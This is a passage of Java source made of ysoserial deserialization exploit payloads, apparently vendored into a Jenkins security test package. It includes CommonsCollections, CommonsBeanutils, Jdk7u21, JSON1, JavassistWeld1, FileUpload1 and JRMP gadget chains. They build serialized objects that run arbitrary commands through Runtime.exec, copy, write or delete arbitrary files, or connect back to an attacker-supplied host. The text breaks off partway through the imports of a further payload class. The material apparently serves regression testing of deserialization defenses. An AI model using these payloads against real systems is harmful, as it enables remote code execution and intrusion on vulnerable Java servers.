InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt);
// Create Comparator Proxy
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
// Prepare Trigger Gadget (will call Comparator.compare() during deserialization)
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};
Reflections.setFieldValue(priorityQueue, "queue", queue);
Reflections.setFieldValue(priorityQueue, "size", 2);
return priorityQueue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(BeanShell1.class, args);
}
}
package jenkins.security.security218.ysoserial.payloads;
import java.math.BigInteger;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;
import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies;
import jenkins.security.security218.ysoserial.payloads.util.Gadgets;
import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner;
import jenkins.security.security218.ysoserial.payloads.util.Reflections;
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
public class CommonsBeanutils1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
Reflections.setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsBeanutils1.class, args);
}
}
\ No newline at end of file
package jenkins.security.security218.ysoserial.payloads;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import javax.xml.transform.Templates;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies;
import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest;
import jenkins.security.security218.ysoserial.payloads.util.Gadgets;
import jenkins.security.security218.ysoserial.payloads.util.JavaVersion;
import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner;
import jenkins.security.security218.ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
/*
* Variation on CommonsCollections1 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
@SuppressWarnings({"rawtypes", "unchecked", "restriction"})
@Dependencies({"commons-collections:commons-collections:3.1"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
public class CommonsCollections3 extends PayloadRunner implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
Object templatesImpl = Gadgets.createTemplatesImpl(command);
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { templatesImpl } )};
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class);
final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return handler;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections3.class, args);
}
public static boolean isApplicableJavaVersion() {
return JavaVersion.isAnnInvHUniversalMethodImpl();
}
}
package jenkins.security.security218.ysoserial.payloads;
import java.util.PriorityQueue;
import java.util.Queue;
import javax.xml.transform.Templates;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies;
import jenkins.security.security218.ysoserial.payloads.util.Gadgets;
import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner;
import jenkins.security.security218.ysoserial.payloads.util.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
/*
* Variation on CommonsCollections2 that uses InstantiateTransformer instead of
* InvokerTransformer.
*/
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
public class CommonsCollections4 implements ObjectPayload<Queue<Object>> {
public Queue<Object> getObject(final String command) throws Exception {
Object templates = Gadgets.createTemplatesImpl(command);
ConstantTransformer constant = new ConstantTransformer(String.class);
// mock method name until armed
Class[] paramTypes = new Class[] { String.class };
Object[] args = new Object[] { "foo" };
InstantiateTransformer instantiate = new InstantiateTransformer(
paramTypes, args);
// grab defensively copied arrays
paramTypes = (Class[]) Reflections.getFieldValue(instantiate, "iParamTypes");
args = (Object[]) Reflections.getFieldValue(instantiate, "iArgs");
ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
// create queue with numbers
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
queue.add(1);
queue.add(1);
// swap in values to arm
Reflections.setFieldValue(constant, "iConstant", TrAXFilter.class);
paramTypes[0] = Templates.class;
args[0] = templates;
return queue;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections4.class, args);
}
}
package jenkins.security.security218.ysoserial.payloads;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;
import javax.management.BadAttributeValueExpException;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies;
import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest;
import jenkins.security.security218.ysoserial.payloads.util.Gadgets;
import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner;
import jenkins.security.security218.ysoserial.payloads.util.Reflections;
/*
Gadget chain:
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers); // arm with actual transformer chain
return val;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections5.class, args);
}
}
package jenkins.security.security218.ysoserial.payloads;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies;
import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"commons-collections:commons-collections:3.1"})
public class CommonsCollections6 extends PayloadRunner implements ObjectPayload<Serializable> {
public Serializable getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
Transformer transformerChain = new ChainedTransformer(transformers);
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
HashSet map = new HashSet(1);
map.add("foo");
Field f = null;
try {
f = HashSet.class.getDeclaredField("map");
} catch (NoSuchFieldException e) {
f = HashSet.class.getDeclaredField("backingMap");
}
f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);
Field f2 = null;
try {
f2 = HashMap.class.getDeclaredField("table");
} catch (NoSuchFieldException e) {
f2 = HashMap.class.getDeclaredField("elementData");
}
f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);
Object node = array[0];
if(node == null){
node = array[1];
}
Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}
keyField.setAccessible(true);
keyField.set(node, entry);
return map;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections6.class, args);
}
}
package jenkins.security.security218.ysoserial.payloads;
/**
* @author mbechler
*
*/
public interface DynamicDependencies {
}
package jenkins.security.security218.ysoserial.payloads;
import java.io.File;
import java.io.IOException;
import java.io.OutputStream;
import java.util.Arrays;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.fileupload.disk.DiskFileItem;
import org.apache.commons.io.output.DeferredFileOutputStream;
import org.apache.commons.io.output.ThresholdingOutputStream;
import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies;
import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest;
import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner;
import jenkins.security.security218.ysoserial.payloads.util.Reflections;
/**
* Gadget chain:
* DiskFileItem.readObject()
*
* Arguments:
* - copyAndDelete;sourceFile;destDir
* - write;destDir;ascii-data
* - writeB64;destDir;base64-data
* - writeOld;destFile;ascii-data
* - writeOldB64;destFile;base64-data
*
* Yields:
* - copy an arbitraty file to an arbitrary directory (source file is deleted if possible)
* - pre 1.3.1 (+ old JRE): write data to an arbitrary file
* - 1.3.1+: write data to a more or less random file in an arbitrary directory
*
* @author mbechler
*/
@Dependencies ( {
"commons-fileupload:commons-fileupload:1.3.1",
"commons-io:commons-io:2.4"
} )
@PayloadTest(harness="ysoserial.payloads.FileUploadTest")
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
public DiskFileItem getObject ( String command ) throws Exception {
String[] parts = command.split(";");
if ( parts.length == 3 && "copyAndDelete".equals(parts[ 0 ]) ) {
return copyAndDelete(parts[ 1 ], parts[ 2 ]);
}
else if ( parts.length == 3 && "write".equals(parts[ 0 ]) ) {
return write(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII"));
}
else if ( parts.length == 3 && "writeB64".equals(parts[ 0 ]) ) {
return write(parts[ 1 ], Base64.decodeBase64(parts[ 2 ]));
}
else if ( parts.length == 3 && "writeOld".equals(parts[ 0 ]) ) {
return writePre131(parts[ 1 ], parts[ 2 ].getBytes("US-ASCII"));
}
else if ( parts.length == 3 && "writeOldB64".equals(parts[ 0 ]) ) {
return writePre131(parts[ 1 ], Base64.decodeBase64(parts[ 2 ]));
}
else {
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(parts));
}
}
public void release ( DiskFileItem obj ) throws Exception {
// otherwise the finalizer deletes the file
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
Reflections.setFieldValue(obj, "dfos", dfos);
}
private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {
return makePayload(0, copyTo, copyAndDelete, new byte[1]);
}
// writes data to a random filename (update_<per JVM random UUID>_<COUNTER>.tmp)
private static DiskFileItem write ( String dir, byte[] data ) throws IOException, Exception {
return makePayload(data.length + 1, dir, dir + "/whatever", data);
}
// writes data to an arbitrary file
private static DiskFileItem writePre131 ( String file, byte[] data ) throws IOException, Exception {
return makePayload(data.length + 1, file + "\0", file, data);
}
private static DiskFileItem makePayload ( int thresh, String repoPath, String filePath, byte[] data ) throws IOException, Exception {
// if thresh < written length, delete outputFile after copying to repository temp file
// otherwise write the contents to repository temp file
File repository = new File(repoPath);
DiskFileItem diskFileItem = new DiskFileItem("test", "application/octet-stream", false, "test", 100000, repository);
File outputFile = new File(filePath);
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
os.write(data);
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
return diskFileItem;
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(FileUpload1.class, args);
}
}
package jenkins.security.security218.ysoserial.payloads;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest;
import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner;
/**
*
*
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Thread.start()
* DGCClient$EndpointEntry.<init>(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Requires:
* - JavaSE
*
* Argument:
* - host:port to connect to, host only chooses random port (DOS if repeated many times)
*
* Yields:
* * an established JRMP connection to the endpoint (if reachable)
* * a connected RMI Registry proxy
* * one system thread per endpoint (DOS)
*
* @author mbechler
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness = "ysoserial.payloads.JRMPReverseConnectSMTest")
public class JRMPClient extends PayloadRunner implements ObjectPayload<Registry> {
public Registry getObject ( final String command ) throws Exception {
String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient.class.getClassLoader());
PayloadRunner.run(JRMPClient.class, args);
}
}
package jenkins.security.security218.ysoserial.payloads;
import java.rmi.server.RemoteObject;
import java.rmi.server.RemoteRef;
import java.rmi.server.UnicastRemoteObject;
import sun.rmi.server.ActivationGroupImpl;
import sun.rmi.server.UnicastServerRef;
import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest;
import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner;
import jenkins.security.security218.ysoserial.payloads.util.Reflections;
/**
* Gadget chain:
* UnicastRemoteObject.readObject(ObjectInputStream) line: 235
* UnicastRemoteObject.reexport() line: 266
* UnicastRemoteObject.exportObject(Remote, int) line: 320
* UnicastRemoteObject.exportObject(Remote, UnicastServerRef) line: 383
* UnicastServerRef.exportObject(Remote, Object, boolean) line: 208
* LiveRef.exportObject(Target) line: 147
* TCPEndpoint.exportObject(Target) line: 411
* TCPTransport.exportObject(Target) line: 249
* TCPTransport.listen() line: 319
*
* Requires:
* - JavaSE
*
* Argument:
* - Port number to open listener to
*/
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( skip = "This test would make you potentially vulnerable")
public class JRMPListener extends PayloadRunner implements ObjectPayload<UnicastRemoteObject> {
public UnicastRemoteObject getObject ( final String command ) throws Exception {
int jrmpPort = Integer.parseInt(command);
UnicastRemoteObject uro = Reflections.createWithConstructor(ActivationGroupImpl.class, RemoteObject.class, new Class[] {
RemoteRef.class
}, new Object[] {
new UnicastServerRef(jrmpPort)
});
Reflections.getField(UnicastRemoteObject.class, "port").set(uro, jrmpPort);
return uro;
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(JRMPListener.class, args);
}
}
package jenkins.security.security218.ysoserial.payloads;
import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies;
import jenkins.security.security218.ysoserial.payloads.util.Gadgets;
import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner;
import jenkins.security.security218.ysoserial.payloads.util.Reflections;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
import javax.management.openmbean.CompositeData;
import javax.management.openmbean.CompositeType;
import javax.management.openmbean.OpenDataException;
import javax.management.openmbean.OpenType;
import javax.management.openmbean.TabularDataSupport;
import javax.management.openmbean.TabularType;
import javax.xml.transform.Templates;
import org.springframework.aop.framework.AdvisedSupport;
import com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl;
import net.sf.json.JSONObject;
/**
*
* A bit more convoluted example
*
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
* java.lang.reflect.Method.invoke(Object, Object...)
* org.springframework.aop.support.AopUtils.invokeJoinpointUsingReflection(Object, Method, Object[])
* org.springframework.aop.framework.JdkDynamicAopProxy.invoke(Object, Method, Object[])
* $Proxy0.getOutputProperties()
* java.lang.reflect.Method.invoke(Object, Object...)
* org.apache.commons.beanutils.PropertyUtilsBean.invokeMethod(Method, Object, Object[])
* org.apache.commons.beanutils.PropertyUtilsBean.getSimpleProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtilsBean.getNestedProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtilsBean.getProperty(Object, String)
* org.apache.commons.beanutils.PropertyUtils.getProperty(Object, String)
* net.sf.json.JSONObject.defaultBeanProcessing(Object, JsonConfig)
* net.sf.json.JSONObject._fromBean(Object, JsonConfig)
* net.sf.json.JSONObject.fromObject(Object, JsonConfig)
* net.sf.json.JSONObject(AbstractJSON)._processValue(Object, JsonConfig)
* net.sf.json.JSONObject._processValue(Object, JsonConfig)
* net.sf.json.JSONObject.processValue(Object, JsonConfig)
* net.sf.json.JSONObject.containsValue(Object, JsonConfig)
* net.sf.json.JSONObject.containsValue(Object)
* javax.management.openmbean.TabularDataSupport.containsValue(CompositeData)
* javax.management.openmbean.TabularDataSupport.equals(Object)
* java.util.HashMap<K,V>.putVal(int, K, V, boolean, boolean)
* java.util.HashMap<K,V>.readObject(ObjectInputStream)
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"rawtypes", "unchecked", "restriction"
} )
@Dependencies ( {
"net.sf.json-lib:json-lib:jar:jdk15:2.4", "org.springframework:spring-aop:4.1.4.RELEASE",
// deep deps
"aopalliance:aopalliance:1.0", "commons-logging:commons-logging:1.2", "commons-lang:commons-lang:2.6", "net.sf.ezmorph:ezmorph:1.0.6",
"commons-beanutils:commons-beanutils:1.9.2", "org.springframework:spring-core:4.1.4.RELEASE", "commons-collections:commons-collections:3.1"
} )
public class JSON1 implements ObjectPayload<Object> {
public Map getObject ( String command ) throws Exception {
return makeCallerChain(Gadgets.createTemplatesImpl(command), Templates.class);
}
/**
* Will call all getter methods on payload that are defined in the given interfaces
*/
public static Map makeCallerChain ( Object payload, Class... ifaces ) throws OpenDataException, NoSuchMethodException, InstantiationException,
IllegalAccessException, InvocationTargetException, Exception, ClassNotFoundException {
CompositeType rt = new CompositeType("a", "b", new String[] {
"a"
}, new String[] {
"a"
}, new OpenType[] {
javax.management.openmbean.SimpleType.INTEGER
});
TabularType tt = new TabularType("a", "b", rt, new String[] {
"a"
});
TabularDataSupport t1 = new TabularDataSupport(tt);
TabularDataSupport t2 = new TabularDataSupport(tt);
// we need to make payload implement composite data
// it's very likely that there are other proxy impls that could be used
AdvisedSupport as = new AdvisedSupport();
as.setTarget(payload);
InvocationHandler delegateInvocationHandler = (InvocationHandler) Reflections
.getFirstCtor("org.springframework.aop.framework.JdkDynamicAopProxy").newInstance(as);
InvocationHandler cdsInvocationHandler = Gadgets.createMemoizedInvocationHandler(Gadgets.createMap("getCompositeType", rt));
CompositeInvocationHandlerImpl invocationHandler = new CompositeInvocationHandlerImpl();
invocationHandler.addInvocationHandler(CompositeData.class, cdsInvocationHandler);
invocationHandler.setDefaultHandler(delegateInvocationHandler);
final CompositeData cdsProxy = Gadgets.createProxy(invocationHandler, CompositeData.class, ifaces);
JSONObject jo = new JSONObject();
Map m = new HashMap();
m.put("t", cdsProxy);
Reflections.setFieldValue(jo, "properties", m);
Reflections.setFieldValue(jo, "properties", m);
Reflections.setFieldValue(t1, "dataMap", jo);
Reflections.setFieldValue(t2, "dataMap", jo);
return Gadgets.makeMap(t1, t2);
}
public static void main ( final String[] args ) throws Exception {
PayloadRunner.run(JSON1.class, args);
}
}
package jenkins.security.security218.ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.jboss.weld.interceptor.builder.InterceptionModelBuilder;
import org.jboss.weld.interceptor.builder.MethodReference;
import org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory;
import org.jboss.weld.interceptor.proxy.InterceptorMethodHandler;
import org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference;
import org.jboss.weld.interceptor.reader.DefaultMethodMetadata;
import org.jboss.weld.interceptor.reader.ReflectiveClassMetadata;
import org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata;
import org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator;
import org.jboss.weld.interceptor.spi.metadata.InterceptorReference;
import org.jboss.weld.interceptor.spi.metadata.MethodMetadata;
import org.jboss.weld.interceptor.spi.model.InterceptionModel;
import org.jboss.weld.interceptor.spi.model.InterceptionType;
import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies;
import jenkins.security.security218.ysoserial.payloads.util.Gadgets;
import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner;
import java.lang.reflect.Constructor;
import java.util.*;
/*
by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"javassist:javassist:3.12.1.GA", "org.jboss.weld:weld-core:1.1.33.Final", "javax.enterprise:cdi-api:1.0-SP1", "javax.interceptor:javax.interceptor-api:3.1","org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final", "org.slf4j:slf4j-api:1.7.21"})
public class JavassistWeld1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object gadget = Gadgets.createTemplatesImpl(command);
InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
Set<InterceptionType> s = new HashSet<InterceptionType>();
s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
defaultMethodMetadataConstructor.setAccessible(true);
MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s,
MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
List list = new ArrayList();
list.add(methodMetadata);
Map<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
builder.interceptAll().with(simpleInterceptorMetadata);
InterceptionModel model = builder.build();
HashMap map = new HashMap();
map.put("ysoserial", "ysoserial");
DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {
public Object createFor(InterceptorReference paramInterceptorReference) {
return gadget;
}
};
return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(JavassistWeld1.class, args);
}
}
\ No newline at end of file
package jenkins.security.security218.ysoserial.payloads;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.LinkedHashSet;
import javax.xml.transform.Templates;
import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies;
import jenkins.security.security218.ysoserial.payloads.annotation.PayloadTest;
import jenkins.security.security218.ysoserial.payloads.util.Gadgets;
import jenkins.security.security218.ysoserial.payloads.util.JavaVersion;
import jenkins.security.security218.ysoserial.payloads.util.PayloadRunner;
import jenkins.security.security218.ysoserial.payloads.util.Reflections;
/*
Gadget chain that works against JRE 1.7u21 and earlier. Payload generation has
the same JRE version requirements.
See: https://gist.github.com/frohoff/24af7913611f8406eaf3
Call tree:
LinkedHashSet.readObject()
LinkedHashSet.add()
...
TemplatesImpl.hashCode() (X)
LinkedHashSet.add()
...
Proxy(Templates).hashCode() (X)
AnnotationInvocationHandler.invoke() (X)
AnnotationInvocationHandler.hashCodeImpl() (X)
String.hashCode() (0)
AnnotationInvocationHandler.memberValueHashCode() (X)
TemplatesImpl.hashCode() (X)
Proxy(Templates).equals()
AnnotationInvocationHandler.invoke()
AnnotationInvocationHandler.equalsImpl()
Method.invoke()
...
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
ClassLoader.defineClass()
Class.newInstance()
...
MaliciousClass.<clinit>()
...
Runtime.exec()
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@Dependencies()
@PayloadTest ( precondition = "isApplicableJavaVersion")
public class Jdk7u21 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
String zeroHashCodeStr = "f5a5a608";
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
Reflections.setFieldValue(tempHandler, "type", Templates.class);
Templates proxy = Gadgets.createProxy(tempHandler, Templates.class);
LinkedHashSet set = new LinkedHashSet(); // maintain order
set.add(templates);
set.add(proxy);
Reflections.setFieldValue(templates, "_auxClasses", null);
Reflections.setFieldValue(templates, "_class", null);
map.put(zeroHashCodeStr, templates); // swap in real object
return set;
}
public static boolean isApplicableJavaVersion() {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(Jdk7u21.class, args);
}
}
package jenkins.security.security218.ysoserial.payloads;
import org.apache.commons.io.FileUtils;
import org.python.core.*;
import java.math.BigInteger;
import java.io.File;
import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.Comparator;
import java.util.PriorityQueue;
import jenkins.security.security218.ysoserial.payloads.util.Reflections;
import jenkins.security.security218.ysoserial.payloads.annotation.Dependencies;
